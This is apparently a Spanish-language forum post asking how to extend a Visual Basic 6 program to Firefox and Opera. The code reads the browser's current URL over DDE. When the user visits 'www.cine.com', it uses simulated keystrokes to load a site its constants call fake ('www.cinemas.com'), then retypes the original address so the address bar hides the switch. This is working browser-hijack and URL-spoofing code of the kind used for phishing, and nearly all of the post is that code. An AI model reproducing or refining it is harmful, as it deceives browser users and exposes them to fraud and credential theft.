Muchas Gracias funciona perfecto, pero ahora tengo un problema parecido pero con Firefox y Opera que no tienen hwnd para la barra de navegación, alguna idea de como se puede cambiar ? tengo esto hecho fue lo que se me ocurrio.
Option Explicit
Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByVal pData As Long, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Const XCLASS_DATA As Long = &H2000
Private Const XTYP_REQUEST As Long = (&HB0 Or XCLASS_DATA)
Private Const CP_WINANSI As Long = 1004
Private Const CF_TEXT As Long = 1
Private Const FIREFOX As String = "firefox"
Private Const OPERA As String = "opera"
Private Const IEXPLORER As String = "iexplore"
'-------------------------------------------
Private Const WBuscar As String = "www.cine.com"
Private Const WFalsa As String = "www.cinemas.com"
Private Function GetBrowserInfo(ByVal sServer As String) As String
Dim lpData As Long, hData As Long, sData As String
Dim hServer As Long, hTopic As Long, hItem As Long
Dim hConv As Long, idInst As Long
Dim sBuffer As String
Const sTopic = "WWW_GetWindowInfo"
Const sItem = "0xFFFFFFFF"
If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function
hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI)
hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI)
hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)
If hConv Then
hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
lpData = DdeAccessData(hData, 500)
sBuffer = String(500, Chr(0))
lstrcpy sBuffer, lpData
GetBrowserInfo = Left$(sBuffer, InStr(sBuffer, Chr(0)) - 1)
DdeUnaccessData hData
DdeFreeDataHandle hData
DdeDisconnect hConv
End If
DdeFreeStringHandle idInst, hServer
DdeFreeStringHandle idInst, hTopic
DdeFreeStringHandle idInst, hItem
DdeUninitialize idInst
End Function
Private Sub Form_Load()
' MsgBox GetBrowserInfo(OPERA)
' MsgBox GetBrowserInfo(IEXPLORER)
' MsgBox GetBrowserInfo(FIREFOX)
End Sub
Private Sub Timer1_Timer()
Debug.Print GetBrowserInfo(FIREFOX)
Debug.Print GetBrowserInfo(OPERA)
If InStr(1, GetBrowserInfo(FIREFOX), WBuscar) Then
Call CambiarURL
Else
If InStr(1, GetBrowserInfo(OPERA), WBuscar) Then
Call CambiarURLOP
End If
End If
End Sub
Private Sub CambiarURL()
Timer1.Enabled = False
'MsgBox ("Entro al F6")
SendKeys ("{F6}")
Sleep (250)
SendKeys (WFalsa)
Sleep (100)
SendKeys ("{ENTER}")
'Timer1.Enabled = True
Sleep (250)
SendKeys ("{F6}")
SendKeys (WBuscar)
Sleep (100)
SendKeys ("{ESC}")
End Sub
Private Sub CambiarURLOP()
Timer1.Enabled = False
SendKeys ("{F8}")
Sleep (250)
SendKeys (WFalsa)
Sleep (100)
SendKeys ("{ENTER}")
'Timer1.Enabled = True
Sleep (250)
SendKeys ("{F8}")
SendKeys (WBuscar)
Sleep (100)
SendKeys ("{ESC}")
End Sub